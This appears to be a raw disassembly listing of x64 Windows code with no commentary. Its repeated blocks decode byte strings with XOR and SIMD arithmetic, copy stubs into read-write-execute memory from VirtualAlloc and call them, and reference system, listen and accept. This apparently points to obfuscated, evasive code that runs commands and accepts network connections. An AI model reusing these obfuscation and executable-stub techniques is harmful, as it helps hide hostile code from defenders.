packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140010ff0
cmp r8d, 0x39
jge 0x140011125
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x1400110f0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1fe0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x210], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x1400111b0
mov rdx, rbx
cmp rax, rsi
je 0x14001119f
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140011187
jmp 0x1400111b0
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140011291
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400111d9
mov r8, rbx
jmp 0x140011270
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400111e2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x210]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1fe0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1fc0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x218]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x2000]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x60b0]
lea rcx, [rsp + 0x5f]
call fcn.14001eb20
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140011462
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001142d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140011340
jmp 0x140011462
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140011430
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x2020]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x220], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x1400114ed
mov rdx, rbx
cmp rax, rsi
je 0x1400114dc
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x1400114c4
jmp 0x1400114ed
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x1400115cf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011516
mov r8, rbx
jmp 0x1400115ae
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011520
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x220]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x2020]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2000]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x228]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x2040]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x60e8]
lea rcx, [rsp + 0x60]
call fcn.14001eb60
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140011793
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001175e
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140011671
jmp 0x140011793
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140011761
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x2060]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x230], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001181e
mov rdx, rbx
cmp rax, rsi
je 0x14001180d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x1400117f5
jmp 0x14001181e
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x1400118ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011847
mov r8, rbx
jmp 0x1400118de
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011850
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x230]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x2060]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2040]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x238]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x2080]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6120]
lea rcx, [rsp + 0x61]
call fcn.14001eba0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140011ac3
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140011a8e
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400119a1
jmp 0x140011ac3
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140011a91
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x20a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x240], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140011b4e
mov rdx, rbx
cmp rax, rsi
je 0x140011b3d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140011b25
jmp 0x140011b4e
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140011c2f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011b77
mov r8, rbx
jmp 0x140011c0e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011b80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x240]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x20a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2080]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x248]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x20c0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6158]
lea rcx, [rsp + 0x62]
call fcn.14001ebe0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140011df3
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140011dbe
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140011cd1
jmp 0x140011df3
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140011dc1
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x20e0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x250], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140011e7e
mov rdx, rbx
cmp rax, rsi
je 0x140011e6d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140011e55
jmp 0x140011e7e
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140011f5f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011ea7
mov r8, rbx
jmp 0x140011f3e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011eb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x250]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x20e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x20c0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x258]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x2100]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6748]
lea rcx, [rsp + 0x63]
call fcn.14001ec20
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x140012135
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400120f3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140012000
cmp r8d, 0x39
jge 0x140012135
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140012100
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x2120]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x260], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x1400121c0
mov rdx, rbx
cmp rax, rsi
je 0x1400121af
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140012197
jmp 0x1400121c0
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x1400122a1
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400121e9
mov r8, rbx
jmp 0x140012280
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
